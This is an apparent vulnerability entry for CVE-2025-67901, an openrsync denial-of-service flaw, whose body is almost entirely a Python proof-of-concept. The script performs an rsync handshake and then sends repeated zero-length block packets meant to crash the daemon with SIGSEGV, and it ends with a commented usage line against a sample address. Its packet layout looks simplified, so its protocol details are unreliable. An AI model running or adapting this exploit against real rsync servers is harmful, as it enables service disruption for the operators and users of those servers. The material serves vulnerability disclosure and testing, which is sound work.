CVE-2025-67901 openrsync 块数据长度零值导致服务器拒绝服务漏洞

import socket import struct def exploit_openrsync_dos(target_ip, target_port=873): """ PoC for CVE-2025-67901: openrsync SIGSEGV via zero-length block data This exploits the lack of validation between p->rem and p->len in blocks.c """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # RSYNC protocol handshake rsync_protocol = b"@RSYNCD: 31.0\n" sock.send(rsync_protocol) response = sock.recv(1024) if b"RSYNCD: OK" not in response: print("[-] RSYNC handshake failed") return False # Send module list request sock.send(b"\n") response = sock.recv(1024) # Construct malicious block data with zero length # This triggers SIGSEGV in blocks.c due to unchecked p->rem vs p->len malicious_packet = bytearray() # Block data with zero length indicator # Format: block_index (4 bytes) + length (4 bytes set to 0) + checksum (16 bytes) block_index = struct.pack("<I", 0) # Block index zero_length = struct.pack("<I", 0) # Zero length - the key exploit vector checksum = b"\x00" * 16 # Placeholder checksum malicious_packet.extend(block_index) malicious_packet.extend(zero_length) malicious_packet.extend(checksum) # Send multiple zero-length block requests to increase reliability for _ in range(10): sock.send(malicious_packet) print("[+] Malicious packet sent, target may crash with SIGSEGV") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False # Usage example # exploit_openrsync_dos("192.168.1.100", 873)